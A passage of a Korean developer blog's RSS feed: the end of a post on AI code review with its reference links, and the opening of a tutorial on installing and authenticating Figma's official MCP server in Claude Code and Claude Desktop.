&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://flowkater.io/posts/2026-03-08-ai-code-review/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Flowkater.io &amp;mdash; AI 시대에 코드 리뷰, 어떻게 해야할까? (2026-03-08)&lt;/a&gt; &amp;mdash; 이 글의 원천 에세이 (&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://news.hada.io/topic?id=25625&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekNews 공유&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://claude.com/blog/code-review&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic 공식 블로그 &amp;mdash; Bringing Code Review to Claude Code (2026-03-09)&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://bryanfinster.substack.com/p/ai-broke-your-code-review-heres-how&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Bryan Finster &amp;mdash; AI Broke Your Code Review. Here's How to Fix It&lt;/a&gt; (Dave Farley의 Nyquist-Shannon 적용 소개)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://simonwillison.net/2025/Dec/18/code-proven-to-work/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Simon Willison &amp;mdash; Your job is to deliver code you have proven to work (2025-12-18)&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://tidyfirst.substack.com/p/thinking-about-code-review&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Kent Beck &amp;mdash; Thinking About Code Review (Substack)&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://addyo.substack.com/p/code-review-in-the-age-of-ai&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Addy Osmani &amp;mdash; Code Review in the Age of AI (Substack)&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.latent.space/p/reviews-dead&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Ankit Jain &amp;mdash; How to Kill the Code Review (latent.space)&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://engineering.salesforce.com/scaling-code-reviews-adapting-to-a-surge-in-ai-generated-code/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Salesforce Engineering &amp;mdash; Scaling Code Reviews with Prizm&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.qodo.ai/reports/state-of-ai-code-quality/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Qodo &amp;mdash; State of AI Code Quality 2025&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://law.stanford.edu/2026/02/08/built-by-agents-tested-by-agents-trusted-by-whom/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Stanford CodeX &amp;mdash; Built by Agents, Tested by Agents, Trusted by Whom? (2026-02-08)&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://docs.anthropic.com/en/docs/claude-code/code-review&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code Review 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/Workflow : 자동화</category>
      <category>ai 코드 리뷰</category>
      <category>ai 코딩 도구</category>
      <category>Claude Code Review</category>
      <category>Intent Review</category>
      <category>PR 리뷰</category>
      <category>개발자 생산성</category>
      <category>코드 리뷰 방법론</category>
      <category>코드 리뷰 자동화</category>
      <category>코드 리뷰 체크리스트</category>
      <category>코드 품질</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/546</guid>
      <comments>https://goddaehee.tistory.com/546#entry546comment</comments>
      <pubDate>Mon, 16 Mar 2026 18:30:38 +0900</pubDate>
    </item>
    <item>
      <title>개발자를 위한 MCP 추천(4) - Figma MCP 설치 및 사용방법 : 자연어로 Figma를 조작하는 법, Figma 디자인을 코드로 자동 변환</title>
      <link>https://goddaehee.tistory.com/545</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- ✦ 2026년 시리즈 도입부 ✦ --&gt;
&lt;div style=&quot;background: linear-gradient(135deg, #1a3a52 0%, #0066cc 100%); padding: 28px 30px; border-radius: 16px; margin-bottom: 10px; color: white;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-size: 12px; opacity: 0.75; letter-spacing: 1.5px; font-weight: 600; text-transform: uppercase;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 &amp;middot; 개발자를 위한 MCP 추천 시리즈&lt;/p&gt;
&lt;h2 style=&quot;margin: 0 0 14px 0; font-size: 22px; font-weight: 800; line-height: 1.4; color: white;&quot; data-ke-size=&quot;size26&quot;&gt;&quot;MCP가 죽었다&quot;말도 나오는데, 그래도 현시점 쓸만한 MCP 10개&lt;/h2&gt;
&lt;p style=&quot;margin: 0; font-size: 15px; line-height: 1.8; opacity: 0.92;&quot; data-ke-size=&quot;size16&quot;&gt;2025년에 썼던 개발자용 MCP 시리즈들이, 이제 상당 부분 구버전이 됐다. &lt;br /&gt;생태계가 빠르게 변했고, 새로 등장한 도구들도 많다. &lt;br /&gt;2026년 3월, 다시 한번 실제로 써보고 쓸 만한 것들만 골라 정리해려고 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; border: 1px solid #cce5ff; border-left: 5px solid #0066cc; padding: 20px 24px; border-radius: 0 12px 12px 0; margin-bottom: 10px; font-size: 15px; line-height: 1.9;&quot;&gt;&lt;b&gt;이 시리즈를 다시 쓰는 이유&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;지난 2월 말, &lt;a href=&quot;https://goddaehee.tistory.com/535&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;MCP는 죽었다, CLI 만세 &amp;mdash; Eric Holmes의 도발적 주장&quot;&lt;/a&gt;이라는 글을 정리한 적이 있다. Eric Holmes가 주장한 핵심은 간단하다. &lt;b&gt;LLM은 이미 CLI에 능숙하다. 그렇다면 MCP라는 별도의 추상 계층이 굳이 필요한가?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;실제로 Claude Code 환경에서 MCP 대신 &lt;b&gt;CLI&lt;/b&gt;로 해결되는 경우가 꽤 많다. 디버깅도 쉽고, 별도 프로세스 관리도 없고, 기존 인증도 그대로 쓸 수 있다. 그 글에서 공감하신 분들이 많았다.&lt;br /&gt;&lt;b&gt;그럼에도 불구하고, MCP만이 줄 수 있는 가치가 분명히 존재한다.&lt;/b&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;오늘은 개발자를 위한 MCP 시리즈 이어서 &lt;b&gt;Figma MCP&lt;/b&gt;를 소개하려 한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2310&quot; data-origin-height=&quot;1542&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnnFuI/dJMcacI9D8F/wyl4GlWdv1pUXdFFksBV00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnnFuI/dJMcacI9D8F/wyl4GlWdv1pUXdFFksBV00/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnnFuI/dJMcacI9D8F/wyl4GlWdv1pUXdFFksBV00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnnFuI%2FdJMcacI9D8F%2Fwyl4GlWdv1pUXdFFksBV00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2310&quot; height=&quot;1542&quot; data-origin-width=&quot;2310&quot; data-origin-height=&quot;1542&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;디자이너와의 협업, 그리고 디자인을 코드로 변환하는 작업이 얼마나 달라지는지 알아보자.&lt;/p&gt;
&lt;!-- 요약 callout --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;Figma MCP 핵심 정리&lt;/b&gt;&lt;br /&gt;Figma MCP는 Claude 같은 AI가 Figma 디자인 파일의 구조, 컴포넌트, 변수, 스타일 정보를 직접 읽어서 코드를 생성할 수 있게 해주는 도구다. 스크린샷으로 디자인을 &quot;보여주는&quot; 방식이 아닌, 레이아웃 제약&amp;middot;색상&amp;middot;간격 등 정확한 메타데이터를 구조적으로 전달한다. Figma 공식 원격 서버(&lt;code&gt;mcp.figma.com&lt;/code&gt;)와 데스크탑 앱 로컬 서버 두 가지 방식이 있으며, 2026년 기준 모든 Figma 플랜에서 사용 가능하다.&lt;/div&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Figma MCP란?&lt;/li&gt;
&lt;li&gt;설치 방법 (원격 서버 / 로컬 서버 / Claude Desktop)&lt;/li&gt;
&lt;li&gt;주요 Tools 소개&lt;/li&gt;
&lt;li&gt;실전 활용 예시 &amp;mdash; 양방향 워크플로우&lt;/li&gt;
&lt;li&gt;Figma MCP vs Figma Dev Mode 비교&lt;/li&gt;
&lt;li&gt;주의사항 및 트러블슈팅&lt;/li&gt;
&lt;li&gt;개발자 커뮤니티 반응&lt;/li&gt;
&lt;li&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 1. 개요 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Figma MCP란?&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Figma MCP는 Figma가 공식 제공하는 MCP 서버로, AI 에이전트가 Figma 디자인 파일의 세부 정보를 직접 읽어올 수 있게 해준다. 기존에는 디자이너가 스크린샷을 캡처해서 개발자에게 전달하거나, Figma Dev Mode에서 수치를 하나씩 확인해가며 코드를 작성했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Figma MCP를 사용하면 Claude에게 &quot;이 Figma 프레임 링크를 보고 React 컴포넌트를 만들어줘&quot;라고 말하는 것만으로, AI가 실제 디자인의 레이아웃, 색상, 타이포그래피, 간격 등 정확한 수치를 읽어서 코드를 생성한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;왜 스크린샷보다 나은가?&lt;/b&gt;&lt;br /&gt;스크린샷을 보고 AI가 코드를 생성하면 &quot;버튼 패딩이 12px인지 16px인지&quot; 정확히 알 수 없다. 하지만 Figma MCP는 구조화된 메타데이터를 통해 정확한 수치, 폰트 이름, 색상 hex 값, 자동 레이아웃 설정 등을 전달한다. 픽셀 퍼펙트 구현이 훨씬 쉬워진다.&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f0fe; border-left: 4px solid #4285f4; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Figma MCP는 양방향 도구다&lt;/b&gt;&lt;br /&gt;Figma &amp;rarr; Code 방향만 있는 게 아니다. &lt;code&gt;generate_figma_design&lt;/code&gt; Tool을 사용하면 이미 만들어진 웹 페이지를 &lt;b&gt;편집 가능한 Figma 레이어로 역변환&lt;/b&gt;할 수 있다. Stitch나 Claude Code로 먼저 개발한 프로젝트를 Figma로 역캡처해서 디자인 관리를 시작하거나, 기존 레거시 UI를 Figma 자산으로 정리하는 데도 활용할 수 있다.&lt;/div&gt;
&lt;!-- 2. 설치 방법 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 설치 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Figma MCP는 두 가지 서버 타입이 있다. 어떤 것을 선택할지는 사용 환경에 따라 결정한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://developers.figma.com/docs/figma-mcp-server/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Figma 공식 개발자 문서&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #0066cc; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;원격 서버 (Remote)&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;데스크탑 서버 (Desktop)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;서버 위치&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Figma 호스팅 (mcp.figma.com)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;로컬 (Figma 데스크탑 앱)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;Figma 앱 필요&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;불필요 (웹 브라우저로도 OK)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;필요 (데스크탑 앱 실행 중이어야 함)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;컨텍스트 제공 방식&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;URL 링크 복사/붙여넣기&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;데스크탑 앱에서 레이어 선택&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;플랜 요건&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;모든 플랜 사용 가능&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Dev 또는 Full 시트 (유료 플랜)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;Starter 플랜 제한&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;월 6회 Tool 호출&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;해당 없음 (유료 플랜 전용)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Starter 플랜 또는 View/Collab 시트 사용자는 원격 서버를 통해 월 최대 6회 Tool 호출만 가능하다. 활발히 사용할 계획이라면 유료 플랜을 고려해야 한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://developers.figma.com/docs/figma-mcp-server/plans-access-and-permissions/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Figma Plans, access, and permissions&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;ex) 공식 문서 링크를 주거나 &lt;a href=&quot;https://developers.figma.com/docs/figma-mcp-server/remote-server-installation/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://developers.figma.com/docs/figma-mcp-server/remote-server-installation/&lt;/a&gt; &lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;그냥 자연어로 figma mcp 설치해줘.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;( 반대로 내 블로그 링크를 주고&amp;nbsp; 해당 mcp 설치 해줘 라고 진행해도 진행 된다. )&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 1: Claude Code 대화형 설치 &amp;mdash; 원격 서버 (권장)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;터미널에서 아래 명령어를 실행한다. Figma는 HTTP transport 방식의 원격 서버를 사용한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# 현재 프로젝트에만 설치&lt;/div&gt;
&lt;pre class=&quot;vim&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;claude mcp add --transport http figma https://mcp.figma.com/mcp&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# 모든 프로젝트에서 사용 (--scope user)&lt;/div&gt;
&lt;pre class=&quot;crmsh&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;claude mcp add --scope user --transport http figma https://mcp.figma.com/mcp&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;!-- SCREENSHOT: claude mcp add 명령어 실행 후 성공 메시지가 출력된 터미널 화면 --&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;설치 후 Claude Code를 새로 시작하고 &lt;code&gt;/mcp&lt;/code&gt;를 입력한다. Figma 항목을 선택하고 &lt;b&gt;Authenticate&lt;/b&gt;를 눌러 OAuth로 Figma 계정에 로그인하면 완료이다.&lt;/p&gt;
&lt;!-- SCREENSHOT: /mcp 명령어에서 Figma 항목을 선택하고 Authenticate 버튼이 보이는 화면 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;인증 방식 안내&lt;/b&gt;&lt;br /&gt;Figma MCP 원격 서버는 Personal Access Token(PAT)이 아닌 &lt;b&gt;OAuth 인증&lt;/b&gt;을 사용한다. 브라우저가 자동으로 열려 Figma 로그인 화면이 나타나며, Allow Access를 클릭하면 인증이 완료된다. (출처: &lt;a href=&quot;https://developers.figma.com/docs/figma-mcp-server/remote-server-installation/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Figma Remote Server Installation 공식 문서&lt;/a&gt;)&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 2: Claude Code settings.json 직접 설정 &amp;mdash; 원격 서버&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;~/.claude/settings.json&lt;/code&gt; 또는 프로젝트의 &lt;code&gt;.claude/settings.json&lt;/code&gt;에 추가한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;// ~/.claude/settings.json&lt;/div&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;{
  &quot;mcpServers&quot;: {
    &quot;figma&quot;: {
      &quot;type&quot;: &quot;http&quot;,
      &quot;url&quot;: &quot;https://mcp.figma.com/mcp&quot;
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 3: Claude Desktop 설정 &amp;mdash; 원격 서버&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Desktop 설정 파일에 추가한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;macOS:&lt;/b&gt; &lt;code&gt;~/Library/Application Support/Claude/claude_desktop_config.json&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Windows:&lt;/b&gt; &lt;code&gt;%APPDATA%\Claude\claude_desktop_config.json&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;// claude_desktop_config.json&lt;/div&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;{
  &quot;mcpServers&quot;: {
    &quot;figma&quot;: {
      &quot;type&quot;: &quot;http&quot;,
      &quot;url&quot;: &quot;https://mcp.figma.com/mcp&quot;
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;데스크탑 서버 사용 방법 (로컬)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Figma 데스크탑 앱(Dev 또는 Full 시트 필요)에서 로컬 MCP 서버를 활성화하는 방법은 아래와 같다:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 0; padding-left: 25px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Figma 데스크탑 앱 실행&lt;/li&gt;
&lt;li&gt;메뉴에서 &lt;b&gt;Figma &amp;gt; Settings &amp;gt; MCP Server&lt;/b&gt; 찾기&lt;/li&gt;
&lt;li&gt;로컬 서버 활성화 토글 켜기&lt;/li&gt;
&lt;li&gt;Claude Code settings.json에 로컬 서버 주소(&lt;code&gt;http://127.0.0.1:PORT&lt;/code&gt;) 추가&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;데스크탑 서버는 Figma 앱에서 레이어를 선택한 상태로 Claude에게 요청하면 선택한 레이어 기반으로 컨텍스트를 제공한다는 장점이 있다. (출처: &lt;a href=&quot;https://developers.figma.com/docs/figma-mcp-server/local-server-installation/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Figma Desktop server 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;설치 이후: OAuth 인증 방법&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;설치 이후 아래와 같이 한 번의 인증이 필요하다. Personal Access Token(PAT) 없이 OAuth 방식으로 간단하게 처리된다.&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 0; padding-left: 25px; line-height: 2.2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Claude Code에서 &lt;code&gt;/mcp&lt;/code&gt; 명령어를 입력한다.&lt;/li&gt;
&lt;li&gt;목록에서 &lt;b&gt;figma&lt;/b&gt; 항목을 선택한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Authenticate&lt;/b&gt; 버튼을 클릭한다.&lt;/li&gt;
&lt;li&gt;브라우저가 자동으로 열리면 Figma 계정으로 로그인한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Allow Access&lt;/b&gt; 버튼을 클릭하면 인증이 완료된다.&lt;/li&gt;
&lt;/ol&gt;
&lt;!-- SCREENSHOT: /mcp 명령어에서 figma 항목을 선택하고 Authenticate 버튼이 보이는 화면 --&gt; &lt;!-- SCREENSHOT: 브라우저에서 Figma Allow Access 화면 --&gt;
